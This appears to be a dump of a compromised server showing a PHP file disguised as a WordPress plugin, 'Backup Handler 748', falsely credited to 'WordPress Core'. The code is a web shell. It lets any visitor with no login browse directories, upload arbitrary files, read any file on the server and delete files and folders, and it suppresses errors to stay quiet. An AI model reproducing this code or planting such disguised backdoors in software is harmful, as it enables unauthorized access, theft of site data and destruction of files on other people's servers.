Linux heracles.o2switch.net 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64

/home/ophq1335/www/wp-content/plugins/backup-handler-748/

/home/ophq1335/www/wp-content/plugins/backup-handler-748/backup-handler-748.php

 <?php
/*
Plugin Name: Backup Handler 748
Plugin URI: https://wordpress.org/plugins/
Description: Backup Handler 748 for WordPress
Version: 1.0
Author: WordPress Core
*/

ob_start();error_reporting(0);
?><html><body><center>
<?php
echo php_uname();
$j = isset($_GET['j']) ? $_GET['j'] : getcwd();
$j = str_replace(chr(92),'/',$j);
$p = explode('/',$j);
echo '<br/>';
foreach($p as $i=>$d){
 if($d==''&&$i==0){echo '<a href="?j=/">/</a>';continue;}
 if($d=='')continue;
 echo '<a href="?j=';
 for($k=0;$k<=$i;$k++){echo $p[$k];if($k!=$i)echo '/';}
 echo '">'.$d.'</a>/';
}
echo '<br/><br/><form method="POST" enctype="multipart/form-data"><input type="file" name="f"/><input type="submit" value="U"></form>';
if(isset($_FILES['f'])){if(move_uploaded_file($_FILES['f']['tmp_name'],$j.'/'.$_FILES['f']['name'])){echo 'OK';}else{echo 'NO';}}
if(isset($_GET['filesrc'])){$s=file_get_contents($_GET['filesrc']);echo '<hr/><textarea rows="20" cols="120">'.htmlspecialchars($s).'</textarea>';}
echo '<hr/><table border="1" width="100%">';
foreach(scandir($j) as $e){
 if($e=='.'||$e=='..')continue;
 if(is_dir($j.'/'.$e)){echo '<tr><td>D</td><td><a href="?j='.$j.'/'.$e.'">'.$e.'</a></td><td><a href="?j='.$j.'&option=1&opt=delete&type=g&name='.$e.'">[X]</a></td></tr>';}
 else{echo '<tr><td>F</td><td><a href="?filesrc='.$j.'/'.$e.'">'.$e.'</a></td><td>'.round(filesize($j.'/'.$e)/1024,2).'KB</td><td><a href="?j='.$j.'&option=1&opt=delete&type=file&name='.$e.'">[X]</a></td></tr>';}
}
echo '</table>';
if(isset($_GET['option'])&&$_GET['opt']=='delete'){
 $n=$_GET['name'];
 if($_GET['type']=='g'){@rmdir($j.'/'.$n);}else{@unlink($j.'/'.$n);}
 header('Location: ?j='.$j);
}
?>